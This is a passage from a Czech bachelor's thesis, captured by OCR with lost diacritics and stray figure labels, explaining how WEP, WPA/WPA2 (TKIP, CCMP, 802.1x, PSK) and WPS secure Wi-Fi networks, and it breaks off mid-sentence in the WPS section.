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ABSTRAKT

Cilem této prace bylo analyzovat problematiku testovani bezpecnosti protokolt IEEE
802.11. V praci byl proveden teoreticky rozbor téchto protokoll a vycet jejich zrani-
telnosti. V praktické Casti byl vyzkousen software uréeny k tomuto testovani. Dale byl
vytvoren vlastni nastroj a byla prozkoumana moznost vyuziti Softwarové definovaného
radia pri testovani.

KLICOVA SLOVA

Bezpecnost, WiFi, testovani bezpecnosti, protokoly IEEE 802.11, softwarové definované
radio

ABSTRACT

The aim of this work was to analyze the issue of security testing of the IEEE 802.11
protocols. The thesis includes a theoretical analysis of these protocols and a list of
their vulnerabilities. Software used for testing the security was showcased. A utility was
created to help with the testing. Finally, the thesis looks at the use of SDR as a way of
testing security.
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Uvod

V roce 2019 se globalni pocet zarizeni pouzivajicich bezdratovou sit Wi-Fi rozrostl na
odhadovanych 13 miliard a tempo rustu stale zrychluje [1]. Lidé se stale vice stavaji
zavisli na téchto sluzbach, at uz v ramci socidlnich médii, v pracovnim prostiedi
anebo pri sdileni informaci. Pro vétsinu lidi neni problém posilat pres bezdratové sité
citlivé informace, a proto je otazka bezpecnosti téchto siti jednou z nejklicovéjsich
otazek moderniho svéta.

Bezpecnost Wi-Fi fesi predevsim rodina standardi nazvana IEEE 802.11. Od
roku 1997 vydava organizace IEEE standardy, které umoznuji pokrok v ramci bez-
dratovych siti a definuji jejich zabezpecovani [?]. Mohlo by se tak zdat, ze bezpecnost
Wi-Fi je jiz vytesenou zédlezitosti. Ovsem jak se ukazuje, tak i tyto standardy nejsou
bez problémi. Naptiklad prvni z bezpec¢nostnich protokol navrzeny v ramci IEEE
802.11, protokol WEP, se jiz brzy po vydani ukazal jako velmi nedostatecny a plny
zranitelnosti [5].

Testovani téchto protokolil a testovani bezdratovych siti je tedy dulezitym kro-
kem v zajisténi bezpecéné a moderni komunikac¢ni infrastruktury, kterd umozni mili-
ardam uzivateld sdileni i téch nejcitlivéjsich informaci bez obav o jejich bezpecnost.
Toto testovani ma mnoho forem a pristupt. Tato prace se zabyva problematikou
testovani bezpecnosti.

V ramci teorie dojde k analyze téchto bezpecnostnich protokold, bude vysvét-
leno, jak funguji, v ¢em spocivaji jejich slabiny a jak je lze zneuzit. Dale dojde
ke struénému seznameni s dostupnym testovacim softwarem a hardwarem, budou
analyzovany jejich funkce a vyuziti. V praktické c¢asti dojde k demonstraci tohoto
softwaru a hardwaru, budou provedeny ukazky moznych utokt na analyzované pro-
tokoly a zhodnocena jejich tispésnost.

Kyberneticka bezpecnost je posledni dobou jednim z nejsklonovanéjsich souslovi
v oblasti informatiky. Celosvétové se dotyka vyznamné casti lidské populace a je

proto nutné, aby na ni byl kladen dostate¢ny duraz.
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1 Zabezpeceni Wi-Fi

Zabezpeceni Wi-Fi a bezdratovych siti obecné resi predevsim rodina standarda IEEE
802.11.

1.1 Rodina standardu IEEE 802.11

IEEE neboli Institute of Electrical and Electronics Engineers je mezinarodni orga-
nizace zabyvajici se, mimo jiné, standardizaci v oblasti elektroniky a komunikac¢nich
technologii. [2] Jednim z mnoha podvybori této organizace je IEEE 802, zabyvajici
se specifikaci lokalnich a metropolitnich bezdratovych siti. Rodina standardi IEEE
802.11 pak specifikuje lokalni bezdratové sité obecné znamy pod nazvem Wi-Fi. [3]

Ptvodni standard IEEE 802.11-1997 byl vydan v roce 1997 a od té doby bylo
vydano vice nez 30 dodatkl které specifikuji predevsim modulace pro posilani ra-
diového signalu. Nejcastéji pouzivana pasma jsou 2.4 GHz, ktera definuji standardy
802.11b a 802.11g a 5 GHgz, které je definovano standardem 802.11a. Tyto stan-
dardy jsou pak dale rozsiteny a upraveny dodatky 802.11n a 802.11ac a dalsimi.
[4] 802.11 ale také specifikuje i méné pouzivané a znamé standardy, jako napriklad
IEEE 802.11ad, ktery definuje komunikaci v pasmu 60 GHz.

Standardy rodiny 802.11 dale fesi i otazku zabezpeceni. Pivodnim protokolem
definovanym jiz v prvni verzi standardu je WEP. WEP, plnym nazvem Wired Equi-
valent Privacy, je bezpecnostni protokol, ktery lze vyuzit pro autentizaci a Sifrovani
dat. Tento protokol byl standardem pouze doporucen, nebyl povinny. Dnes je jiz po-
vazovany za naprosto nedostatecny a nebezpecny z nékolika divodi. Mezi né patii
nevhodné fesend autentizace, Spatna implementace Sifry RC4 a nedostatecna délka
kli¢t. [5]

Z téchto duvodu byl navrzen zabezpecovaci protokol WPA — Wi-Fi Protected
Access. Ten existuje ve dvou zakladnich verzich WPA a WPA2. WPA je jakymsi
mezikrokem z diivodu zdlouhavého procesu schvalovani dodatku k 802.11. WPA fesi
nékteré problémy protokolu WEP a stéle je povazovany za bezpecny. Autentizace
u tohoto protokolu je feSena protokoly PSK anebo IEEE 802.1x. PSK, neboli Pre-
Shared Key, je urcen predevsim pro doméci sité. Autentizace podle IEEE 802.1x je
pak urcena pro podnikové sité. Vybér autentizacniho protokolu pak tedy zavisi na
typu sité.

Sifrovani pak Tesi protokol TKIP opét vyuzivajici sifru RC4. V roce 2004 byl
schvalen standard 802.11i, ktery plné specifikuje protokol WPA2. Ten je velmi po-
dobny protokolu WPA s nejvétsim rozdilem ve vybéru Sifrovaciho algoritmu. Prou-

dova sSifra RC4 je zde nahrazena blokovou Sifrou AES. Autentizace opét existuje ve

vevys

11



V roce 2018 byl vydan novy, vylepSeny protokol WPA3, ktery ma nahradit
WPA2. WPA3 prinasi vylepseni v nékolika oblastech. Autentizace Ctyfcestnou vy-
ménou je nahrazena protokolem SAE, ktery znemoznuje nékteré typy utoku, vuci
kterym byl zranitelny protokol WPA2. Jsou pouzivany delsi klice. Nebezpecna sluzba
WPS je zde nahrazena sluzbou DPP, ktera umoznuje jednoduché a bezpecné pripo-
jovani IoT zarizeni do sité. WPA3 déle zajistuje Sifrovani i u otevienych a verejnych
siti, ¢imz zamezuje odposlechu. Sifrovani u WPA3 podporuje dopfednou bezpetnost
— pokud tedy utocnik zjisti pouzivané heslo, neziskd tim automaticky schopnost
desifrovat nové pakety. Pristupové body pouzivajici WPA3 by pak dale mély umoz-
novat simultanni pouzivani jak WPA2, tak i WPA3. Prozatim je vsak tento protokol

maélo vyuzivany a podpora u koncovych zafizeni je stale nizka. [7]

1.2 Zabezpeceni protokolu WEP

Protokol WEP byl doporucen ptivodnim standardem 802.11 jako zpiisob zajisténi
bezpecné bezdratové komunikace. Lze jej vyuzit pro autentizaci, zajistovani integrity
a Sifrovani dat.

1.2.1 Autentizace podle 802.11

Ptivodni standard 802.11 podporuje dva typy autentizace — Open System a Shared
Key. Nezavisle na zvoleném typu je dale mozné, ale ne nutné, vyuzit sifrovani pro-
tokolem WEP. Jsou tedy mozné 4 rtzné stavy zabezpeceni jejichz mira bezpecnosti

je rizna. Autentizace probihd pomoci ramct typu Management. [6]

Open System

P1i autentizaci typu Open System (Otevieny systém) dochazi k dvoucestné vymeéné
(2-way handshake), kdy uzivatel posle pozadavek k autentizaci a AP (pristupovy
bod) jej potvrdi a autentizuje. V podstaté se tedy uzivatel nijak neidentifikuje a na
Otevieny systém se muze pripojit kdokoliv. [6]

Pokud je zvoleno sifrovani WEP, po uzivateli je po této ,autentizaci® vyzadovan
sdileny kli¢. To by se dalo povazovat za urcity typ autentizace, protoze klice u WEP

jsou predem sdilené a prokazanim znalosti tohoto klicu se uzivatel autentizuje. Kvtli

vevs

Shared Key

P1i autentizaci typu Shared Key (Sdileny kli¢), vyobrazené na obrazku 1.1 dochazi ke

Ctyfeestné vyméné (4-way handshake). Uzivatel vysle zadost o autentizaci. AP pak
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posle vyzvu, ktera obsahuje ndhodné vygenerované 1024-bitové cislo. Uzivatel pak
toto ¢islo zasifruje svym IV (inicializacnim vektorem) a predem sdilenym klicem
pomoci Sifrovani WEP. Zasifrovanou zpravu pak posle zpét spolecné se svym IV.
AP poté zpravu desifruje a provede kontrolni soucet. Pokud je kontrolni soucet
spravny (byl tedy pouzit spravny kli¢ a preneseny IV), je uzivatel autentizovan.
Pokud kontrolni soucet neodpovidé, je autentizace netspésna. [§]

Sdileny kli¢ tak timto pomérné efektivné dokaze autentizovat uzivatele. Ovsem
co se tyCe bezpecnosti, je toto naprosto nedostatecny systém autentizace. Problém
spoc¢iva v tom, ze potencidlni itoc¢nik tuto vyménu mize jednoduse odposlouchat a
ziskat potiebné informace ke svoji autentizaci, a pripadné i ke zjisténi pouzivaného
klice. [9]

Zadost o ( ! >
autentizaci - ‘
UZivatel Pfistupovy bod
, @),
Vyzva se
zpravou
UzZivatel Pristupovy bod
Zasifrovana <( ) >>
zprava —>
+ 1V
UZivatel Pristupovy bod
— @)
Uspésna
autentizace .
UZzivatel PFistupovy bod

Obr. 1.1: Shared Key autentizace
Shrnuti autentizace 802.11

Autentizace podle standardu 802.11 je tedy nedostatecna. Kromé zminéné zranitel-

nosti ma i radu dalsich problému. Autentizace je v tomto pripadé jednostrannd —
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kdyz se uzivatel pripoji, nema moznost zjistit, zda se opravdu pripojil k zamysle-
nému pristupovému bodu. Dalsim problémem je fakt, ze autentizovano je v tomto
pripadé zafizeni, a ne uzivatel.

Pokud tedy porovname Open System a Shared Key autentizaci, je vyhodnéjsi
vyuzivat Otevieny systém. Ve vysledku dosahne stejné véci — ke komunikaci je po-

treba znalost klice, ale na rozdil od Sdileného kli¢e nedojde k odhaleni keystreamu.

[6]

1.2.2 Sifrovani WEP

K sifrovani prendsenych dat WEP vyuziva proudovou sifru RC4. RC4, celym nazvem
Rivest Cipher 4, je vyhodna predevsim pro svou rychlost a nizké naroky na hardware,
v disledku své jednoduchosti. Ve své podstaté se RC4 snazi vytvorit pseudonahodny
proud biti (keystream), pomoci kterého pak zasifruje danou zpravu operaci XOR.
10

Keystream se poté kontinualné s kazdou zpravou, méni aby nedoslo k tomu,
ze stejnd zprava je pokazdé zasifrovana stejné, coz se da zneuzit ke zjisténi klice.
Keystream se vypocitava na obou stranach. Problémem je, Ze bezdratova komuni-
kace muze byt nespolehlivd, a i jediny ztraceny ramec by Sifru zlomil, protoze kazda
strana by poté pouzivala jiny keystream. [6]

U protokolu WEP se kviili tomu tento proces restartuje u kazdého prenosu. Aby
nedochéazelo k opakovani stejného keystreamu pro kazdy ramec, pridava se ke klici
jesté inicializacni vektor (IV). IV mé& velikost 24 bitu a je generovan odesilatelem.
Klice u WEP maji klasicky velikost 40 bit1i, ale existuji i varianty s delsimi kli¢i.
Spolecné pak kli¢ a IV vygeneruji dany keystream. Dale odesilatel provede kont-
rolni soucet (ICV) nezasifrované zpravy pomoci hashovaci funkce CRC-32. Zprava
a soucet jsou poté zasifrovany. Odesilany ramec pak obsahuje zasifrovanou zpravu a
pouzity IV. [11]

Piijemce vygeneruje pouzity keystream pomoci sdileného klice a prijatého IV a
nasledné desifruje zpravu. Poté provede sviij kontrolni soucet zpravy a porovna s
dorucenym kontrolnim souctem. Pokud se soucty shoduji, je zprava prijata, pokud

ne, je zahozena. Timto je zajisténa divérnost a integrita prendsenych dat. [6]

1.2.3 Shrnuti WEP

WEP je jiz dlouhou dobu povazovan za nebezpecny protokol a nemél by byt pouzivan

v zadném pripadé. Nastésti tato skutecnost byla rozpoznana pomeérné brzo po vydani

voev s

protokolu. [6]
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1.3 Zabezpeceni protokolu WPA a WPA2

Po odhaleni nedostatku protokolu WEP zacalo obchodni sdruzeni Wi-Fi Alliance
dobu, v mezidobi bylo vyddno doporuceni oznacované WPA (Wi-Fi Protected Ac-
cess). Protokol WPA je spojovacim ¢ldkem mezi protokoly WEP a vyvijenym WPA2.

Néasledné byl v roce 2003 vydan standard 802.11i, ktery plné definoval protokol
WPA2.

WPA i WPA2 tesi otazku hierarchie a distribuce kli¢t a autentizace stejné. Pod-
poruji dva protokoly — PSK (Pre-Shared Key) a 802.1x. PSK je vyuzivan v tzv.
Personal Mode (osobni moéd), 802.1x je vyuzivan v tzv. Enterprise Mode (firemnim
modu).

Rozdil mezi WPA a WPA2 je ve vyuzivaném Sifrovani. WPA podporuje pouze
protokol TKIP, WPA2 uz podporuje Sifrovani pomoci AES za pouziti protokolu
CCMP.[12]

1.3.1 Hierarchie a distribuce klic¢u

Jednim z nejvétsich problémi WEP byla absence spravy klict. Protokoly WPA
Finalnim vystupem autentizace je kli¢ PMK (Pairwise Master Key). Ten je ziskan
riznym zpusobem v zavislosti na zvoleném autentizac¢nim protokolu.

P1i pouziti PSK, tedy siti s predem sdilenym klicem, se PMK rovna PSK. Pri
vyuzivani autentizace 802.1x se PMK odviji z klice MSK (Master Session Key),
ktery je vystupem tohoto protokolu. Po zjisténi PMK uz oba protokoly pokracuji
stejné. Délka PMK je 256 biti. [6]

Dalsim vyuzivanym klicem je PTK (Pairwise Transient Key), ktery se derivuje z
PMK pomoci hashovaci funkce HMAC-SHA1. Ten je unikatni pro kazdého klienta
komunikujictho s pristupovym bodem. Je generovan znovu pri kazdé asociaci mezi
klientem a danym AP. Délka PTK je zavisla na tom, zda je dale pouzivan protokol
TKIP nebo CCMP. Pro TKIP ma kli¢ velikost 512 biti, pro CCMP ma velikost 384
bit.

Problém nastava u multicastovych a broadcastovych siti, kde by si AP musel
pamatovat PTK kazdého uzivatele a nasledné posilat kazdy ramec nékolikrat, po-
kazdé sifrovany jinym klicem. Z tohoto divodu existuje i par klicdi GMK (Group
Master Key) a GTK (Group Transient Key). Tyto klice jsou generovany ndhodné
pristupovym bodem.

PTK je dale rozdélen do tii subklic¢:
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o KCK (Key Confirmation Key) pouzity u autentizac¢nich zprav béhem c¢tyt-
cestné vymeény (4-way handshake)
o KEK (Key Encryption Key) zajistuje Sifrovani béhem 4-way handshake
o TK (Temporary Key) findlni kli¢ pouzivany k Sifrovani dat protokolem TKIP
Délky téchto kli¢t zavisi na kombinaci vyuzitého Sifrovaciho algoritmu a na tom,
zda se jednd o skupinovou sit (tedy zda je pouzivan kli¢c PTK nebo GTK). [12] Na
obrazku 1.3.1 je vyobrazen cely proces ziskavani a generovani klici.

Autentizace

Autentizace PSK 802.1x

MSK - vystup autentizace —
PSK = PBKDF(PSW, SSID, . Autentizacni
Heslo PSW SSIDLength, 4096, 256) 802.1x, vygenerovan <& adaje

autentiza¢nim serverem

v v

Group Master Key

Pairwise Master Key Pairwise Master Key GMK
PMK = PSK PMK = MSK .
-vygenerovan AP
Ctyfcestna vyména >
Y Y
Pairwise Transient Key Group Transient Key
U, PMK->PTK GMK > GTK
Délky jednotlivych klicu
PSW - 8-63 znaki
PSK = 256 bit& " " "
MSK - 256 bitd
PMK - 256 bit(i KCK KEK TK
GMK - 256 bitd
PTK pro TKIP - 512 bit0
PTK pro CCMP - 384 bit ‘

KCK - 128 bitl
KEK - 128 bitl

TK pro TKIP - 256 bitd | Sifrovani |
TK pro CCMP - 128 bit(i

Y Y

GTK pro TKIP - 256 bitd

GTK pro CCMP - 128 bitu TKIP (RC4) CCMP (AES)

Obr. 1.2: Hierarchie kli¢u

1.3.2 Ctyfcestna vyména

Tato vyména je dulezitym krokem pro kazdou autentizaci v rdamci WPA. Predtim

nez se k ni pristoupi, musi dojit bud k autentizaci 802.1x nebo PSK. Vystupem
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téchto autentizacnich protokolt je klic PMK. V pripadé 802.1x je odvozen z klice
MSK, v pripadé protokolu PSK je za PMK povazovan predem sdileny kli¢c PSK. Ke
komunikaci jsou vyuzivany ramce typu EAPOL-Key.

Na zacatku vymény AP posle klientovy ndhodné cislo ,ANonce®. Klient si vy-
generuje svoje nahodné cislo ,,SNonce” a nasledné si vypocita klic PTK. K tomu
slouzi funkce HMAC, jejimz vstupem jsou klic PMK, MAC adresy klienta i AP a
obé ¢isla ANonce a SNonce. Z PTK si nasledné odvodi docasné klice KCK, KEK a
TK. Pomoci KCK si vygeneruje MIC (Message Integrity Code) — kontrolni soucet
celé zpravy a posle pristupovému bodu ¢islo SNonce a MIC. AP ted muze vypocitat
PTK, a tim padem i KCK, KEK a TK. Zkontroluje, zda MIC souhlasi, pokud ano,

znamena to, ze obé strany pouzivaji stejny PTK.

Ctyfcestna vyména (4Way Handshake)

— A

Klient AP
Vlygeneruje Viygeneruje
SNonce ANonce

ANoNCe

Vypocita PTK
PTK -> KCK, KEK, TK
Kontrolni souc¢et MIC

Vypocita PTK
PTK -> KCK, KEK, TK
Zkontroluje MIC

DeSifruje GTK

Zkontroluje zda je
vSe zaSifrovano
spravné

A

Sifrovan& komunikace (TKIP/CCMP) s
klicem TK

Obr. 1.3: Ctyfcestna viména
AP pak odpovi dalsi zpravou, kterda obsahuje skupinovy klic GTK, zaSifrovany

klicem KEK, a MIC, zasifrovany klicem KCK. Klient by mél mit schopnost GTK

desifrovat. Posledni zpravou vymeény je klientova odpovéd, ve které posle ACK
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(Acknowledge) zpravu zasifrovanou klicem KEK a soucet MIC. AP si ovéri ze je
vse zasifrovano spravné, a vyména je timto hotova. V tento moment uz zacne nor-

malni komunikace. Vymeéna je vyobrazena na obrazku 1.3. [13]

1.3.3 Autentizace u WPA/WPA2

Protokoly podporuji 2 typy autentizace v zavislosti na tom, zda jsou v rezimu Perso-
nal Mode nebo Enterprise Mode. V prvnim pripadé je pouzivana autentizace PSK,

v druhém autentizace 802.1x.

Autentizace 802.1x

Tento zpusob autentizace, vyobrazeny na obrazku 1.4, je definovan standardem
802.1x vydanym v roce 2002. Samotnéd autentizace je TeSena protokolem EAPOL
(EAP Over LAN), coz je rozsifeni starsiho autentizacniho protokolu EAP (Extensi-
ble Authentication Protocol) pro LAN sité. EAP samotny pak m& nékolik moznych
autentizac¢nich metod, jako EAP-MSCHAPv2, EAP-GTC nebo EAP-TTLS.

Podstatou 802.1x je fizeni pristupu prostrednictvim autentizace na portech. Pri-
stupovy bod je béhem autentizace zprostfedkovatelem komunikace mezi uzivatelem
a autentizacnim serverem. Procesu se tedy tcastni tTi entity:

o klient — uzivatel, ktery se autentizuje

» autentizator — AP

 autentizacni server — vétSinou se vyuziva server RADIUS (Remote Authenti-

cation Dial In User Service)

Komunikace probiha pomoci EAP ramcu. Nejdiive klient kontaktuje AP pomoci
ramce typu EAPOL-Start. AP posle zpét vyzvu k identifikaci EAPOL-Request.
Klient poté posle ramec EAP-Response, ktery obsahuje jeho MAC adresu. AP od
této chvile pouze preposila zpravy mezi klientem a autentizacnim serverem. Ten
prijme klientovu odpovéd a odpovi EAP vyzvou se zvolenou autentizacni metodou.

Klient se nasledné muze rozhodnout, zda pokracovat s touto zvolenou metodou,
nebo mize zazadat server o jinou autentizacni metodu. To se hodi hlavné v pripadé,
kdy klient néjakou z autentizacnich metod nepodporuje. Pokud tomu tak je, posle
ramec, ktery obsahuje informaci o podporovanych metodéach, ze kterych si server
néjakou vybere, a posle zpét novou EAP vyzvu se zvolenou autentizacni metodou.

Poté co je dohodnuta metoda, zacne samotnd autentizace. Server posle klientovi
certifikat obsahujici verejny kli¢. Klient mtze ovétit platnost tohoto certifikatu. Poté
vygeneruje ndhodny kli¢, ktery zasifruje vefejnym klicem. Server nasledné desifruje
nahodny kli¢ korespondujicim soukromym klicem. Tento ndhodny kli¢ je déale pou-

zit k dalsimu Sifrovani komunikace. Klient tak muze bezpecné odeslat serveru svoje
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identifikacni daje. Server je ovéri, a pokud souhlasi, klienta autentizuje. Posle kli-
entovi a AP zpravu typu EAP-Success spolu s klicem MSK, ktery pak obé strany
pouziji k dalsimu sifrovani a odvozeni TK béhem ¢tyfcestné vymény (viz kapitoly
1.3.1 Hierarchie a distribuce kli¢ti a 1.3.2 Ctyfcestnd vyména).

Pokud je autentizace neispésna, je poslan ramec EAP-Failure.

= A

Klient AP Autentizacéni
Server (AS)

EAPOL-Start

Y

EAP Zadost o identifikaci

A

EAP - MAC adresa RADIUS Access Request

\

" as vybere
EAP Zadost s metodou metodu

A

Klient potvrdi nebo
zamitne metodu EAP Start s metodou

Y

Digitalni certifikat s vefejnym
klicem

A

ZaSifruje ndhodny
kli¢ vefejnym kli¢em Zasifrovany nahodny kli¢

Y

DeSifruje nah. kli¢,

ZaSifovana zadost o =, . v
pouziva ho k Sifrovani

identifikaci

A

Zasifrované identifikacni
Gdaje

A

ZasSifrované EAP-Success a
MSK

A

EAP-Success

A

CtyFcestna vyména

Obr. 1.4: Schéma autentizace 802.1x

Hlavni vyhodou tohoto autentiza¢niho protokolu je pomérné jednoducha sprava
a dynamicnost pouzivanych klicti. Pokud jsou néjakému klientovi odebrany prava,
staci je pouze odebrat z autentizacniho serveru. Tim, ze kazdy klient méa unikatni
MSK, se nemusi fesit prerozdélovani novych kli¢t. Z tohoto diivodu je autentizace
802.1x vhodna pro firemni sité, kde je sprava klientu dilezita. 802.1x je také jedno-

duchéa pro uzivatele, ktery pouze musi zadat své spravné udaje.
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Autentizace 802.1x je vysoce bezpecnd bez zadnych znamych zranitelnosti. Nej-
slabsim mistem tak zustavaji Spatné zvolend a slaba hesla uzivatelu.

Nejvetsi nevyhodou je nutnost nastavovani autentizacniho serveru. Proto tato
autentizace neni prilis pouzivana v domacich sitich, kde je jednodussi pouzit auten-
tizaci PSK.[6] [12]

Autentizace PSK

Tento zpusob autentizace je velmi jednoduchy. Spociva v tom, Ze klient i AP maji
predem sdileny a ulozeny kli¢ PSK (Pre-Shared Key), ktery je ddle pouzit ve ¢tyi-
cestné viméné k odvozeni TK (viz kapitola 1.3.2 Ctyfcestnd vyména). Plni tak
funkci klice PMK.

Samotny PSK ma 256-bitti a neni zadavan piimo, ale je odvozen z hesla PSW
(password), které je zaddno manualné. Pfevod je popsan rovnici:

PSK = PBKDF2(PSW, SSID, SSIDLength, 4096, 256),

kde:
o PBKDF2 — hashovaci funkce
e PSW - heslo

SSID — identifikator SSID

SSIDLength — délka SSID

4096 — pocet hashi

e 256 — délka vystupu

Délka hesla musi byt mezi 8 a 63 znaky. [12]

1.3.4 Sifrovani WPA /WPA?2

WPA podporuje sifrovaci mechanismus TKIP (Temporal Key Integrity Protocol),
WPA2 dale podporuje mechanismus CCMP (Cipher Block Chaining Message Au-
thentication Code Protocol). Divodem pro podporu TKIP u WPA2 je, ze CCMP
vyuziva blokovou Sifru AES, kterou by starsi hardware nemusel zvladat. TKIP vy-
uziva sifru RC4, stejné jako WEP.

TKIP

Sifrovani TKIP je uréeno predevsim pro hardware, ktery by nedokazal zvladnout
narocnéjsi sifrovani. Je tak stale vyuzivana sifra RC4. TKIP vsak obsahuje radu
vylepseni, ktera alespon ¢astecné resi problémy sifrovani WEP.

Jednou z nejvétsich zranitelnosti WEP byla nedostatecna schopnost zajistit in-
tegritu dat. Proto TKIP vyuziva tzv. MIC (Message Integrity Code, prezdivany

»Michael“) — kontrolni soucet ktery dokaze detekovat tpravu paketu. MIC vyuziva
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vlastni klice v zavislosti na tom kdo je odesilatelem. Tyto klice jsou druhymi 128
bity 256bitového TK, ktery je vystupem ¢tyfcestné vymény. [6]

Zprava, kterou MIC kontroluje, je rozdélena do casti o velikosti 32 bitia. MIC
kli¢ je dale upraven operaci XOR s prvni z téchto ¢asti. Tento zménény kli¢ je pak
opét upraven stejnym zpusobem s dalsi casti zpravy. Toto je opakovano, dokud neni
zprava vycerpana. Vysledny zménény kli¢ je nadale upraven nékolika modularnimi
operacemi a poté je poslan jako kontrolni soucet spolecné se zpravou. Prijemce
zpravy pak MIC prepocita a zjisti, zda je zprava zasifrovana spravneé.

Tento zptsob produkuje nepredvidatelné soucty, které titocnik tézko meéni. Kli¢
samotny je jiny pro kazdy MIC soucet, coz eliminuje moznost ttoku hrubou silou.
Pokud béhem jedné minuty dojde ke dvéma Spatnym souctim, je tato situace vy-
hodnocena jako ttok a AP odstrani veskeré doc¢asné klice a prerusi na jednu minutu
komunikaci TKIP. Mezitim se stanovi nové docasné klice.

Protokol TKIP také vyuziva nové definované prodlouzené inicializa¢ni vektory
(ExtIV) o délce 48 b (oproti 24 b IV u WEP). IV jsou tim padem bezpecnéjsi. V
ramci protokolu jsou pak rozdéleny na 2 ¢asti o velikosti 16 b a 32 b [12].

ExtIV také funguje jako sekvenéni cita¢ (TSC — TKIP Sequence Counter). S
kazdym ramcem je jeho hodnota inkrementovana, a pokud na strané piijemce tato
hodnota nesouhlasi s o¢ekavanou, je ramec zahozen. Timto se protokol chrani tto-
kiim vyuzivajicim opakované posilani stejnych ramect.

Poslednim ¢lankem protokolu TKIP je mixovani klict. TKIP je navrzen tak, aby
byl kazdy paket Sifrovan jinym klicem. Mixovani je rozdéleno do 2 ¢asti. V prvni je
sestaven tzv. TTAK (TKIP-mixed Transmit Address and Key) sloZeny z prvnich 128
bitta TK (vystup autentizace), 32bitové ¢asti ExtIV a MAC adresy vysilajici strany.
Tato ¢ast probihd pouze jednou za 26 b. Druhé ¢ast mixovani, jejimz vystupem je
tzv. PPK (Pre-Packet Key), probiha pro kazdy paket. V této ¢asti se slozi TTAK a
zbyvajicich 16 b ExtIV. Obé faze jsou realizovany pomoci hashovacich funkei.

Finalnim vystupem mixovani je 128bitova hodnota slozena z 16 bita ExtIV, 8bi-
tové hodnoty dummybyte a 104bitového PPK. Tato hodnota slouzi jako inicializac¢ni
hodnota pro sifru RC4, a jde tedy o obdobu keystreamu u WEP, ktery byl tvoren
klicem a IV.

Ve shrnuti je tedy TKIP pomérné efektivni rozsiteni originalntho WEP protokolu.
K zajisténi integrity pouziva zpravy MIC, dale je pouzit prodlouzeny inicializac¢ni
vektor ExtIV a kazdy paket je Sifrovan jinym klicem, ktery je vystupem mixovani
klica. [14]

21



Ctyfcestna vyména

o 64 bitd MIC kli¢ | 64 bitd MIC kli¢

128 bitd TK Klient -> AP AP -> Klient
\/

MAC adresa - 48b
Mixovani klice
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ExtlV (48 b)  / MAC zdroje,
y MAC
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Data -
32b | TTAK | prijemce,
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Inicializacni vektor Datovy blok
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/

WEP Sifrovani |«
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Zasifrovana zprava

Obr. 1.5: Schéma sifrovani TKIP

CC™MP

vevs

Authentication Code Protocol) zobrazeno na obrazku 1.6. Je pritomno pouze u pro-
tokolu WPA2.

Prvni soucasti protokolu je ¢islo PN (Packet Number), které je unikatni pro
kazdy ramec. Ma velikost 48 bitl a inkrementuje se po kazdém odeslaném ramci. PN
je poté zkombinovan s MAC zdroje a prioritou QoS (Quality of Service); vysledkem je
104bitové ¢islo ,nonce”. Toto ¢islo je nasledné, spolu se 128bitovym klicem, pouzito
k sifrovani dat pomoci Sifry AES. Vysledkem tohoto Sifrovani je kontrolni soucet
MIC. [6]
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Obr. 1.6: Schéma sifrovani CCMP

Advanced Encryption Standard

Advanced Encryption Standard (AES) je symetrickd blokova Sifra vyvinutd v
roce 2001. Jedna se o dnes jednu z nejpouzivanéjsich sifer z divodu jeji bezpecnosti.
Momentéalné je pti spravné implementaci povazovana za neprolomitelnou v realistic-
kém case. AES pracuje s bloky dat velikost 128 bitu. Ty jsou Sifrovany v nékolika
rundach pomoci riznych operaci za pouziti kli¢ti odvozenych z hlavniho klice.

AES je mozno implementovat v nékolika rezimech, které ovliviiuji zptsob retézeni
jednotlivych sifrovanych blokt dat. Uéelem je zabranit situaci, kdy stejny blok dat
zasifrovany stejnym klicem vytsti ve stejny zasifrovany text. CCMP nejprve pouziva
AES v rezimu CBC (Cipher Block Chaining), tedy rezim fetézeni sifrovych bloki.
V tomto rezimu je blok dat pred Sifrovanim pomoci samotné Sifry nejdiive xorovan
s jiz zasifrovanym prechozim blokem. Prvni blok je xorovan inicializa¢nim vektorem
[15]. V ptipadé CCMP je inicializa¢nim vektorem ¢&islo ,nonce*.

Dalsim pouzitym rezimem je CTR (Counter Mode), ktery k ¢islu ,nonce* prida
¢itac. Toto cislo je zasifrovano pomoci AES a vysledek je dale xorovan s Sifrovanym
blokem dat a se sou¢tem MIC. Timto dostaneme zasifrovany blok. Pro dalsi blok

se ¢ita¢ inkrementuje a postup se opakuje. Samotna data se tedy v tomto rezimu
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nesifruji sifrou AES [15].

Integrita dat

CCMP zajistuje integritu a duvérnost dat pouzitim datového pole AAD (Addi-
tional Authentication Data) schovaného v zéhlavi dat. Déle je pouzivan kontrolni
soucet MIC. Diky zptsobu Sifrovani a pouzivani CBC by i zména jediného bitu v
jakémkoliv bloku vyustila v kompletné jiny findlni blok [6].

V souhrnu je CCMP velice silnym bezpec¢nostnim protokolem, ktery na rozdil od
protokoli WEP a TKIP vyuziva blokové sSifry AES. Jeho hlavni zranitelnosti jsou

proto nevhodné zvolena hesla v pripadé pouziti PSK autentizace. Pokud je pouzita

vevs

1.4 WPS

Dalsim pouzivanym bezpecnostnim standardem v ramci Wi-Fi siti je WPS (Wi-Fi
Protected Setup). Nenf sice soucésti rodiny 802.11, ale tizce s ni souvisi, a pro oblast
bezpecnosti je dulezity. Byl navrzen sdruzenim Wi-Fi Alliance jako alternativa k
protokolim WEP a WPA2 v roce 2007. Diivodem bylo pomérné slozité nastavovani
téchto protokol pro obycejné uzivatele v ramci jejich doméacich siti. WPS tak ma
byt jakymsi zjednodusenim celého procesu a nabizi jednoduché nastaveni celé sité.
Nejednd se tedy o plné nahrazeni protokoli 802.11. [16]

Podstatou WPS je moznost ptripojovani novych zarizeni do sité co nejjednodus-
sim zptsobem. V ramci WPS se rozlisuji ¢tyfi rezimy, jak tohoto dosdhnout. Dva z

nich jsou soucasti WPS certifikaci, dva z nich jsou volitelné alternativy.

1.4.1 In-Band rezimy

Tyto dva rezimy jsou povinné, pokud chce AP ziskat certifikaci WPS. Jednd se o
rezim PBC (Push-Button-Connect) a rezim PIN (Personal Identification Number).

PIN

V tomto rezimu se vyuziva unikatnich PIN kédu. Kazdé zatizeni, které WPS
podporuje, ma takovyto PIN. U vétsiny routerti byva bud uveden piimo na stitku
zalizeni, nebo je viditelny v nastaveni. Uzivatel tedy pouze musi zadat PIN pristu-
pového bodu. [12]

Dalsi moznosti je zadat PIN nového zarizeni primo do AP. Kdyz se pak v okoli
AP ocitne zarizeni s timto PIN kédem, je zafizeni zaslana vyzva na zadani PIN kédu
